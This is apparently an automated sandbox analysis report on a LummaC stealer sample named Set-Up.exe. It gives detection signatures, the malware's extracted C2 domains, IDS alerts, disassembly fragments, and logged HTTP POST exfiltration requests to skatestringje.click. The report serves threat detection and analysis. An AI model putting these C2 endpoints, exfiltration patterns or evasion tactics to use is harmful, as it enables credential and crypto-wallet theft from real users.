Edit tour

Windows Analysis Report
Set-Up.exe

Overview

General Information

Sample name:	Set-Up.exe
Analysis ID:	1591971
MD5:	76f313ad20bd3da35ef5a7460caf4f95
SHA1:	49143bd00a24052d706b743fe7b5bc22c20c3316
SHA256:	e876204ffcf70dda59de05b571e800f5bdfe096c9fbc3714470366201e8e40d1
Tags:	de-pumpedexeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to read the PEB

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Set-Up.exe (PID: 7352 cmdline: "C:\Users\user\Desktop\Set-Up.exe" MD5: 76F313AD20BD3DA35EF5A7460CAF4F95)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["finickypwk.lat", "washyceehsu.lat", "miniatureyu.lat", "shoefeatthe.lat", "kickykiduz.lat", "skatestringje.click", "bloodyswif.lat", "leggelatez.lat", "savorraiykj.lat"], "Build id": "c2CoW0--Ledgerlive"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1940402195.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x4dd40:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000000.00000003.1937265688.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Set-Up.exe PID: 7352	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Set-Up.exe PID: 7352	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Set-Up.exe PID: 7352	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T16:00:24.847971+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.75.15	443	TCP
2025-01-15T16:00:25.936479+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.75.15	443	TCP
2025-01-15T16:00:27.348911+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.75.15	443	TCP
2025-01-15T16:00:28.931914+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.75.15	443	TCP
2025-01-15T16:00:30.837224+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	104.21.75.15	443	TCP
2025-01-15T16:00:32.588655+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	104.21.75.15	443	TCP
2025-01-15T16:00:34.421280+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	104.21.75.15	443	TCP
2025-01-15T16:00:36.208851+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.75.15	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T16:00:25.414691+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.75.15	443	TCP
2025-01-15T16:00:26.445797+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.75.15	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T16:00:25.414691+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.75.15	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T16:00:26.445797+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	104.21.75.15	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T16:00:33.116234+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49741	104.21.75.15	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://skatestringje.click/	Avira URL Cloud: Label: malware
Source: https://skatestringje.click/api/	Avira URL Cloud: Label: malware
Source: skatestringje.click	Avira URL Cloud: Label: malware
Source: https://skatestringje.click/apiw	Avira URL Cloud: Label: malware
Source: https://skatestringje.click/bu	Avira URL Cloud: Label: malware
Source: https://skatestringje.click/apin	Avira URL Cloud: Label: malware
Source: https://skatestringje.click:443/api	Avira URL Cloud: Label: malware
Source: https://skatestringje.click/api	Avira URL Cloud: Label: malware
Source: https://skatestringje.click/u	Avira URL Cloud: Label: malware
Source: https://skatestringje.click/pi	Avira URL Cloud: Label: malware
Source: https://skatestringje.click/$	Avira URL Cloud: Label: malware

Found malware configuration

Source: Set-Up.exe.7352.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["finickypwk.lat", "washyceehsu.lat", "miniatureyu.lat", "shoefeatthe.lat", "kickykiduz.lat", "skatestringje.click", "bloodyswif.lat", "leggelatez.lat", "savorraiykj.lat"], "Build id": "c2CoW0--Ledgerlive"}

Source: Set-Up.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 104.21.75.15:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.15:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.15:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.15:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.15:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.15:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.15:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	0_2_026A1263
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	0_2_0268D233
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then cmp word ptr [esi+edi+02h], 0000h	0_2_0268A21C
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then movzx edi, byte ptr [eax]	0_2_0267A2C3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov edx, ecx	0_2_026A1343
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov ecx, eax	0_2_0268E06F
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov ecx, eax	0_2_0268E02D
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov edx, eax	0_2_0266E03A
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov ecx, edx	0_2_0268A0FA
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov ebx, eax	0_2_026670F3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov ebp, eax	0_2_026670F3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov ecx, eax	0_2_0268E084
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-414A5C19h]	0_2_0266C173
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+0Ah]	0_2_0266C173
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-001080B4h]	0_2_0267915A
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+000001A0h]	0_2_0266B1C3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_0268D6DF
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov byte ptr [ecx], al	0_2_0268D6DF
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_0268B723
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then movzx eax, byte ptr [eax+edx-18h]	0_2_0268E7C1
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0268E7C1
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov byte ptr [eax], bl	0_2_0268D7B7
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0268A781
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_02698403
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 7E3E42A0h	0_2_0269B583
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_0268DA0D
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov byte ptr [ecx], al	0_2_0268DA0D
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then test esi, esi	0_2_0269BA03
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-0A66063Dh]	0_2_0269DBC3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then push eax	0_2_0266D863
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov ecx, eax	0_2_0267A853
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0267A853
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0268E852
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then cmp word ptr [ebx+ecx], 0000h	0_2_02682813
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 1ED645B4h	0_2_0269A943
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 9B8995CDh	0_2_0269A943
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	0_2_0267E9E3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_02674E33
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov word ptr [esi], cx	0_2_02674E33
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	0_2_0269DEF3
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0267BEFB
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov ecx, eax	0_2_0268DF6F
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edi-73EA04A1h]	0_2_0269DF63
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov esi, ecx	0_2_02676F38
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-651CC318h]	0_2_0267AF0D
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_02668C73
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_02668C73
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then movsx ecx, byte ptr [esi+eax]	0_2_0267EC53
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov ecx, eax	0_2_0268AC53
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+20h]	0_2_02677C3F
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then not eax	0_2_02675CBB
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	0_2_0268CD73
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov edx, ecx	0_2_0266AD43
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov edx, ebx	0_2_0267AD5E
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0268ED3A
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	0_2_02686D03
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 13884179h	0_2_0269DD13
Source: C:\Users\user\Desktop\Set-Up.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h	0_2_02676DDB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.75.15:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.75.15:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 104.21.75.15:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.75.15:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49741 -> 104.21.75.15:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: finickypwk.lat
Source: Malware configuration extractor	URLs: washyceehsu.lat
Source: Malware configuration extractor	URLs: miniatureyu.lat
Source: Malware configuration extractor	URLs: shoefeatthe.lat
Source: Malware configuration extractor	URLs: kickykiduz.lat
Source: Malware configuration extractor	URLs: skatestringje.click
Source: Malware configuration extractor	URLs: bloodyswif.lat
Source: Malware configuration extractor	URLs: leggelatez.lat
Source: Malware configuration extractor	URLs: savorraiykj.lat

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.75.15:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.75.15:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 104.21.75.15:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.75.15:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.75.15:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 104.21.75.15:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 104.21.75.15:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.75.15:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: skatestringje.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: skatestringje.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BWJ8AI49User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18108Host: skatestringje.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ZSJ78F12SDQSP0HFFD5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8795Host: skatestringje.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GEZHOTMV3AP6JSGXBAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20442Host: skatestringje.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4L0R90MN06WVK36KKMXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1422Host: skatestringje.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=XSDE08Y004PL7YFLYFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 564982Host: skatestringje.click

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: skatestringje.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: skatestringje.click

Source: Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Set-Up.exe, 00000000.00000003.1982707055.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1885880152.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1964907434.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skatestringje.click/
Source: Set-Up.exe, 00000000.00000003.1885880152.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skatestringje.click/$
Source: Set-Up.exe, 00000000.00000003.1964907434.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skatestringje.click/api
Source: Set-Up.exe, 00000000.00000003.1885880152.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skatestringje.click/api/
Source: Set-Up.exe, 00000000.00000003.1937265688.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skatestringje.click/apin
Source: Set-Up.exe, 00000000.00000003.1982707055.0000000000B02000.00000004.00000020.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000002.1984463320.0000000000B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skatestringje.click/apiw
Source: Set-Up.exe, 00000000.00000003.1982707055.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1964907434.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skatestringje.click/bu
Source: Set-Up.exe, 00000000.00000003.1982707055.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1885880152.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skatestringje.click/pi
Source: Set-Up.exe, 00000000.00000003.1885880152.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skatestringje.click/u
Source: Set-Up.exe, 00000000.00000003.1964907434.0000000000AF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skatestringje.click:443/api
Source: Set-Up.exe, 00000000.00000003.1888558150.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Set-Up.exe, 00000000.00000003.1922938061.0000000003B3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Set-Up.exe, 00000000.00000003.1922938061.0000000003B3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Set-Up.exe, 00000000.00000003.1888558150.0000000003A6F000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1903083251.0000000003A68000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1888660135.0000000003A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Set-Up.exe, 00000000.00000003.1888660135.0000000003A43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Set-Up.exe, 00000000.00000003.1888558150.0000000003A6F000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1903083251.0000000003A68000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1888660135.0000000003A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Set-Up.exe, 00000000.00000003.1888660135.0000000003A43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
